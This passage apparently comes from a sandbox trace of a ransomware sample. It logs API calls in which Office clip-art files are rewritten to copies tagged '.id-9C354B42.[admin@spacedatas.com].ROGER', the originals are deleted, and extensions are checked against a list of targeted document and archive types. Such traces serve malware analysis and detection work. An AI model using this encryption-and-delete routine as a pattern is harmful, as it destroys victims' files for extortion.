lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.947] SetEndOfFile (hFile=0x410) returned 1 [0059.947] CloseHandle (hObject=0x410) returned 1 [0059.947] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.947] SetEndOfFile (hFile=0x3f8) returned 1 [0059.948] CloseHandle (hObject=0x3f8) returned 1 [0059.948] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.948] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04332_.wmf")) returned 1 [0059.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0059.948] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0059.948] lstrlenW (lpString=".doc") returned 4 [0059.948] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.948] lstrlenW (lpString=".docx") returned 5 [0059.948] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.948] lstrlenW (lpString=".pdf") returned 4 [0059.948] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.948] lstrlenW (lpString=".xls") returned 4 [0059.948] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.948] lstrlenW (lpString=".xlsx") returned 5 [0059.948] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.949] lstrlenW (lpString=".ppt") returned 4 [0059.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0059.949] lstrlenW (lpString=".zip") returned 4 [0059.949] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.949] lstrlenW (lpString=".rar") returned 4 [0059.949] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.949] lstrlenW (lpString=".bz2") returned 4 [0059.949] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.949] lstrlenW (lpString=".7z") returned 3 [0059.949] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0059.949] lstrlenW (lpString=".dbf") returned 4 [0059.949] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0059.949] lstrlenW (lpString=".1cd") returned 4 [0059.949] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0059.949] lstrlenW (lpString=".jpg") returned 4 [0059.949] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0059.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0059.949] lstrlenW (lpString=".doc") returned 4 [0059.949] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.949] lstrlenW (lpString=".docx") returned 5 [0059.949] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.949] lstrlenW (lpString=".pdf") returned 4 [0059.949] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.949] lstrlenW (lpString=".xls") returned 4 [0059.949] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.949] lstrlenW (lpString=".xlsx") returned 5 [0059.949] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.949] lstrlenW (lpString=".ppt") returned 4 [0059.949] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.949] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0059.950] lstrlenW (lpString=".zip") returned 4 [0059.950] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.950] lstrlenW (lpString=".rar") returned 4 [0059.950] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.950] lstrlenW (lpString=".bz2") returned 4 [0059.950] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.950] lstrlenW (lpString=".7z") returned 3 [0059.950] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0059.950] lstrlenW (lpString=".dbf") returned 4 [0059.950] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0059.950] lstrlenW (lpString=".1cd") returned 4 [0059.950] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.950] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04332_.WMF") returned 63 [0059.950] lstrlenW (lpString=".jpg") returned 4 [0059.950] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.950] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.950] lstrlenW (lpString="BD00146_.WMF") returned 12 [0059.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0059.950] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=28948) returned 1 [0059.950] CloseHandle (hObject=0x3f8) returned 1 [0059.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 0x20 [0059.951] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0059.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0059.951] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.951] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.951] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x410 [0059.951] GetLastError () returned 0x0 [0059.951] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x7114, lpOverlapped=0x0) returned 1 [0059.973] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x7120, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x7120, lpOverlapped=0x0) returned 1 [0059.976] ReadFile (in: hFile=0x3f8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0059.976] WriteFile (in: hFile=0x410, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.976] SetEndOfFile (hFile=0x410) returned 1 [0059.976] CloseHandle (hObject=0x410) returned 1 [0059.976] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0059.976] SetEndOfFile (hFile=0x3f8) returned 1 [0059.977] CloseHandle (hObject=0x3f8) returned 1 [0059.977] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0059.977] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00146_.wmf")) returned 1 [0059.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0059.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0059.977] lstrlenW (lpString=".doc") returned 4 [0059.977] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.977] lstrlenW (lpString=".docx") returned 5 [0059.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.978] lstrlenW (lpString=".pdf") returned 4 [0059.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.978] lstrlenW (lpString=".xls") returned 4 [0059.978] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.978] lstrlenW (lpString=".xlsx") returned 5 [0059.978] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.978] lstrlenW (lpString=".ppt") returned 4 [0059.978] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0059.978] lstrlenW (lpString=".zip") returned 4 [0059.978] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.978] lstrlenW (lpString=".rar") returned 4 [0059.978] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.978] lstrlenW (lpString=".bz2") returned 4 [0059.978] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.978] lstrlenW (lpString=".7z") returned 3 [0059.978] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0059.978] lstrlenW (lpString=".dbf") returned 4 [0059.978] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0059.978] lstrlenW (lpString=".1cd") returned 4 [0059.978] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0059.978] lstrlenW (lpString=".jpg") returned 4 [0059.978] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0059.978] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0059.978] lstrlenW (lpString=".doc") returned 4 [0059.978] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0059.978] lstrlenW (lpString=".docx") returned 5 [0059.978] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0059.978] lstrlenW (lpString=".pdf") returned 4 [0059.978] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0059.979] lstrlenW (lpString=".xls") returned 4 [0059.979] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0059.979] lstrlenW (lpString=".xlsx") returned 5 [0059.979] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0059.979] lstrlenW (lpString=".ppt") returned 4 [0059.979] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0059.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0059.979] lstrlenW (lpString=".zip") returned 4 [0059.979] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0059.979] lstrlenW (lpString=".rar") returned 4 [0059.979] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0059.979] lstrlenW (lpString=".bz2") returned 4 [0059.979] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0059.979] lstrlenW (lpString=".7z") returned 3 [0059.979] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0059.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0059.979] lstrlenW (lpString=".dbf") returned 4 [0059.979] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0059.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0059.979] lstrlenW (lpString=".1cd") returned 4 [0059.979] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0059.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00146_.WMF") returned 63 [0059.979] lstrlenW (lpString=".jpg") returned 4 [0059.979] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0059.979] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0059.979] lstrlenW (lpString="BD00160_.WMF") returned 12 [0059.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.079] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=22516) returned 1 [0061.079] CloseHandle (hObject=0x368) returned 1 [0061.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0061.079] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.088] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.088] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0061.088] GetLastError () returned 0x0 [0061.088] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x57f4, lpOverlapped=0x0) returned 1 [0061.098] WriteFile (in: hFile=0x3fc, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x5800, lpOverlapped=0x0) returned 1 [0061.100] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.100] WriteFile (in: hFile=0x3fc, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.100] SetEndOfFile (hFile=0x3fc) returned 1 [0061.456] CloseHandle (hObject=0x3fc) returned 1 [0061.663] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.663] SetEndOfFile (hFile=0x368) returned 1 [0061.672] CloseHandle (hObject=0x368) returned 1 [0061.673] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.680] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0061.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0061.680] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0061.680] lstrlenW (lpString=".doc") returned 4 [0061.680] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.680] lstrlenW (lpString=".docx") returned 5 [0061.680] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.680] lstrlenW (lpString=".pdf") returned 4 [0061.680] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.680] lstrlenW (lpString=".xls") returned 4 [0061.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.688] lstrlenW (lpString=".xlsx") returned 5 [0061.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.688] lstrlenW (lpString=".ppt") returned 4 [0061.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0061.688] lstrlenW (lpString=".zip") returned 4 [0061.688] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.688] lstrlenW (lpString=".rar") returned 4 [0061.688] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.688] lstrlenW (lpString=".bz2") returned 4 [0061.688] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.688] lstrlenW (lpString=".7z") returned 3 [0061.688] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0061.688] lstrlenW (lpString=".dbf") returned 4 [0061.688] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0061.688] lstrlenW (lpString=".1cd") returned 4 [0061.688] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0061.688] lstrlenW (lpString=".jpg") returned 4 [0061.688] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0061.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0061.688] lstrlenW (lpString=".doc") returned 4 [0061.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.689] lstrlenW (lpString=".docx") returned 5 [0061.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.689] lstrlenW (lpString=".pdf") returned 4 [0061.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.689] lstrlenW (lpString=".xls") returned 4 [0061.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.689] lstrlenW (lpString=".xlsx") returned 5 [0061.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.689] lstrlenW (lpString=".ppt") returned 4 [0061.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0061.689] lstrlenW (lpString=".zip") returned 4 [0061.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.689] lstrlenW (lpString=".rar") returned 4 [0061.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.689] lstrlenW (lpString=".bz2") returned 4 [0061.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.689] lstrlenW (lpString=".7z") returned 3 [0061.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0061.689] lstrlenW (lpString=".dbf") returned 4 [0061.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0061.689] lstrlenW (lpString=".1cd") returned 4 [0061.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0061.689] lstrlenW (lpString=".jpg") returned 4 [0061.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.689] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0061.689] lstrlenW (lpString="BD10890_.GIF") returned 12 [0061.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.690] GetFileSizeEx (in: hFile=0x368, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=13515) returned 1 [0061.690] CloseHandle (hObject=0x368) returned 1 [0061.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif")) returned 0x20 [0061.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0061.690] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.690] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd10890_.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0061.690] GetLastError () returned 0x0 [0061.691] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x34cb, lpOverlapped=0x0) returned 1 [0061.692] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x34d0, lpOverlapped=0x0) returned 1 [0061.693] ReadFile (in: hFile=0x368, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0061.693] WriteFile (in: hFile=0x338, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.693] SetEndOfFile (hFile=0x338) returned 1 [0061.693] CloseHandle (hObject=0x338) returned 1 [0061.693] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0061.693] SetEndOfFile (hFile=0x368) returned 1 [0061.694] CloseHandle (hObject=0x368) returned 1 [0061.694] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.694] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD10890_.GIF" 